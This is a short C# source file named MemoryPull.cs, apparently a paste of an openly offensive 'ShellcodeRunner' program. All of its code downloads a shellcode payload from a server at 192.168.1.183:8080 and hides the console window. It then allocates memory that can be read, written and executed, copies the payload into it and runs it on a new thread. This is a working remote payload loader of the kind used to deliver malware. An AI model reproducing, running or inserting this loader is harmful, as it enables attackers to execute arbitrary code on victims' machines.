MemoryPull.cs 1.7 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758
  1. using System;
  2. using System.Net;
  3. using System.IO;
  4. using System.Reflection;
  5. using System.Runtime.InteropServices;
  6. using System.Diagnostics;
  7. namespace ShellcodeRunner
  8. {
  9. class Program
  10. {
  11. [DllImport("kernel32")]
  12. public static extern IntPtr CreateThread(
  13. IntPtr lpThreadAttributes,
  14. uint dwStackSize,
  15. IntPtr lpStartAddress,
  16. IntPtr param,
  17. uint dwCreationFlags,
  18. IntPtr lpThreadId
  19. );
  20. [DllImport("kernel32.dll", SetLastError=true, ExactSpelling=true)]
  21. static extern bool FreeConsole();
  22. static void Main(string[] args)
  23. {
  24. WebClient client = new WebClient();
  25. string url = "http://192.168.1.183:8080/shellcode.bin";
  26. byte[] Shellcode = client.DownloadData(url);
  27. FreeConsole();
  28. IntPtr allocMemAddress = VirtualAlloc(IntPtr.Zero, (uint)Shellcode.Length, 0x00001000 | 0x00002000, 0x40);
  29. Marshal.Copy(Shellcode, 0, allocMemAddress, Shellcode.Length);
  30. IntPtr threadHandle = CreateThread(IntPtr.Zero, 0, allocMemAddress, IntPtr.Zero, 0, IntPtr.Zero);
  31. WaitForSingleObject(threadHandle, 0xFFFFFFFF);
  32. Console.WriteLine("Shellcode executed");
  33. }
  34. [DllImport("kernel32")]
  35. public static extern IntPtr VirtualAlloc(
  36. IntPtr lpStartAddr,
  37. uint size,
  38. uint flAllocationType,
  39. uint flProtect
  40. );
  41. [DllImport("kernel32")]
  42. public static extern UInt32 WaitForSingleObject(
  43. IntPtr hHandle,
  44. UInt32 dwMilliseconds
  45. );
  46. }
  47. }